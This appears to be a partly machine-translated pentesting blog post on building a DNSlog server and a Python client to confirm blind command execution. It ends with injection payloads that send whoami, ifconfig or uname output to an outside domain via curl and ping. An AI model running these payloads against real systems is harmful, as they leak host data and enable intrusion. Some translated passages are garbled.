0x01 modification of dnslog
In order to automate, we want to use dnslog successfully in POC of various remote command execution. We have modified it and added three API interfaces:
http://127.0.0.1:8000/apilogin/{username}/{password}/
#http://127.0.0.1:8000/apilogin/test/123456/
#登陆以获取token
http://127.0.0.1:8000/apiquery/{logtype}/{subdomain}/{token}/
#http://127.0.0.1:8000/apiquery/dns/test/a2f78f403d7b8b92ca3486bb4dc0e498/
#查询特定域名的某类型记录
http://127.0.0.1:8000/apidel/{logtype}/{udomain}/{token}/
#http://127.0.0.1:8000/apidel/dns/test/a2f78f403d7b8b92ca3486bb4dc0e498/
#删除特定域名的某类型记录
Project address after transformation: https://github.com/bit4woo/dnslog
0x02 local interface class
After the server is OK, in order to call in POC quickly, a class is implemented locally:
# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
import hashlib
import time
import requests
import json
class DNSlog():
def __init__(self,subdomain=None):
if subdomain == None:
self.subdomain = hashlib.md5(time.time()).hexdigest()
else:
self.subdomain = subdomain
self.user_host = "test.code2sec.com"
#self.user_host = "127.0.0.1:8000"
self.api_host = "admin.code2sec.com"
#self.api_host = "127.0.0.1:8000"
self.token = ""
self.username= "test"
self.password = "123456"
self.login()
def gen_payload_domain(self):
domain = "{0}.{1}".format(self.subdomain, self.user_host)
return domain
def gen_payload(self):
domain ="{0}.{1}".format(self.subdomain,self.user_host)
poc = "ping -n 3 {0} || ping -c 3 {1}".format(domain, domain)
return poc
def login(self,username=None,password=None):
if username == None:
username = self.username
if password == None:
password = self.password
url = "http://{0}/apilogin/{1}/{2}/".format(self.api_host,username,password)
print("DNSlog Login: {0}".format(url))
response = requests.get(url, timeout=60, verify=False, allow_redirects=False)
if response.status_code ==200:
token = json.loads(response.content)["token"]
self.token = token
return True
else:
print("DNSlog login failed!")
return False
def query(self,subdomain,type="dns",token=None,delay=2):
time.sleep(delay)
if token ==None and self.token != "":
token = self.token
else:
print("Invalid Token!")
return False
if type.lower() in ["dns","web"]:
pass
else:
print("error type")
return False
url = "http://{0}/apiquery/{1}/{2}/{3}/".format(self.api_host,type,subdomain,token)
print("DNSlog Query: {0}".format(url))
try:
rep = requests.get(url, timeout=60, verify=False, allow_redirects=False)
return json.loads(rep.content)["status"]
except Exception as e:
return False
def delete(self, subdomain,type="dns", token =None):
if token ==None and self.token != "":
token = self.token
else:
print("Invalid Token!")
return False
if type.lower() in ["dns","web"]:
pass
else:
print("error type")
return False
url = "http://{0}/apidel/{1}/{2}/{3}/".format(self.api_host, type, subdomain, token)
print("DNSlog Delete: {0}".format(url))
try:
rep = requests.get(url, timeout=60, verify=False, allow_redirects=False)
return json.loads(rep.content)["status"]
except Exception as e:
return False
if __name__ == "__main__":
x = DNSlog("xxxx")
x.login("test","123456")
x.query("dns","123",x.token)
x.delete("dns","123",x.token)
Call process:
- First, instantiate the dnslog class. If a string is passed in, the string will be treated as a subdomain. If not, a random
- Call genu payload domain() or genu payload() to return the domain name or payload in the format of "ping - N 3 {0} Ping - C 3 {1}"
gen_payload_domain()
gen_payload()
- Call the login () interface to log in and get the token. If there is an incoming account and password, the incoming one will be used. Otherwise, the default one will be used
login()
- Before using the generated domain name or payload for detection, it is recommended to call delete() to clear domain name related records to avoid false positives
delete()
- Request using payload in POC
- Use query() to check whether dnslog receives the relevant request of the domain name. If any, it is considered that the command execution is successful. Otherwise, the task does not exist.
query()
0x03 use docker to build dnslog server
Thank you for your help
Domain name and configuration
To build and use dnslog, you need to have two domain names:
1. A domain name as ns server (for example, Polaris lab.com): set two a records to point to our public IP address (without modifying the DNS server, use the operator's default one):
ns1.polaris-lab.com A 记录指向 10.11.12.13
ns2.polaris-lab.com A 记录指向 10.11.12.13
2. A domain name (for example: code2sec. Com): modify the NS record of code2sec.com to the two domain names set in 1 (without modifying the DNS server, use the operator's default one):
NS *.code2sec.com ns1.polaris-lab.com
NS *.code2sec.com ns2.polaris-lab.com
Note: according to the instructions of dnslog, the NS record is modified, but it is still abnormal after several days of modification in your deployment, so you change to modify the DNS server, and then it succeeds. After modifying the DNS server, you do not need to set any DNS records on the domain name management page, because this part is implemented in the Python code of dnslog.
Docker image construction
The contents of dockerfile are as follows:
FROM ubuntu:14.04
RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
RUN apt-get update -y && apt-get install -y python && apt-get install python-pip -y && apt-get install git -y
RUN git clone https://github.com/bit4woo/DNSLog
WORKDIR /DNSLog/dnslog
RUN pip install -r requirements.pip
COPY ./settings.py /DNSLog/dnslog/dnslog/settings.py
COPY ./start.sh /DNSLog/dnslog/start.sh
RUN chmod +x start.sh
CMD ["./start.sh"]
EXPOSE 80
Download dnslog / dnslog / settings.py and modify the following fields to save settings.py:
dnslog/dnslog/settings.py
# 做 dns 记录的域名
DNS_DOMAIN = 'code2sec.com'
# 记录管理的域名, 这里前缀根据个人喜好来定
ADMIN_DOMAIN = 'admin.code2sec.com'
# NS域名
NS1_DOMAIN = 'ns1.polaris-lab.com'
NS2_DOMAIN = 'ns2.polaris-lab.com'
# 服务器外网地址
SERVER_IP = '10.11.12.13'
Create a dnslog startup script and save it as start.sh:
#!/bin/bash
python manage.py runserver 0.0.0.0:80
docker build .
docker tag e99c409f6585 bit4/dnslog
docker run -d -it -p 80:80 -p 53:53/udp bit4/dnslog
#注意这个53udp端口,感谢CF_HB师傅的指导
docker exec -it container_ID_or_name /bin/bash
./start.sh
Configuration verification
Use the NSLOOKUP command to verify. If xxx.test.code2sec.com can be directly tested, all configurations have taken effect. If the direct query fails, and the DNS server is specified as ns1.polsri-lab.com, the DNS server configuration is correct, but the settings of NS records need to wait for synchronization or configuration error.
nslookup
xxx.test.code2sec.com
server ns1.polaris-lab.com
yyy.test.code2sec.com
Of course, at the same time of query, you can log in to the webpage to check whether you have received the request.
In my own deployment, I found that xxx.test.code2sec.com could not be directly queried after modifying ns record for a long time. Thinking that NS record configuration and DNS server settings are both to modify the server configuration of the resolved domain name, I tried to modify the DNS server to ns1.polaris-lab.com, and everything was normal.
Management website
Background address: http://code2sec.com/admin/admin admin admin
User address: http://admin.code2sec.com/test 123456
For more details, please refer to the project: https://github.com/bugscantape/dnslog
Remember to change the default account password!
0x04 how to use payload
Compatible with windows and Linux
||
ipconfig || ifconfig
#||是或逻辑, 如果第一个命令执行成功,将不会执行第二个;而如果第一个执行失败,将会执行第二个。
使用实例:
ping -n 3 xxx.test.code2sec.com || ping -c 3 xxx.test.code2sec.com
Command first
%OS%
#windows的系统变量,用set命令可以查看所有可用的变量名称
`whomai`
#linux下的命令优先执行,注意是反引号(`)这个字符一般在键盘的左上角,数字1的左边
测试效果如下:
[email protected]:~# echo `whoami`@bit4
[email protected]
E:\>echo %OS%@bit4
[email protected]
使用实例:
curl "http://xxx.test.code2sec.com/?`whoami`"
ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.code2sec.com
#DNS记录中获取源IP地址
Elimination of spaces
id|base64
使用实例:
curl test.code2sec.com/`ifconfig|base64 -w 0`
#-w 0 输出内容不换行,推荐这个方法
curl test.code2sec.com/`ifconfig|base64|tr '\n' '-'`
#将换行符替换为-,这个方法不是很方便,解密的时候还需要替换回来
Curl under window
start http://xxxxxxxxx.test.code2sec.com
#该命令的作用是通过默认浏览器打开网站,缺点是会打开窗口
Common payloads summary
#1.判断系统类型
ping `uname`.code2sec.com || ping %OS%.code2sec.com
#2.通用ping,dns类型payload
ping -n 3 xxx.code2sec.com || ping -c 3 xxx.code2sec.com
C:\Windows\System32\cmd.exe /c "ping -n 3 test.com || ping -c 3 test.com"
/bin/bash -c "ping -n 3 test.com || ping -c 3 test.com"
#3.从DNS记录中获取源IP地址
ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.code2sec.com
#4.获取命令结果
curl test.code2sec.com/`ifconfig|base64 -w 0`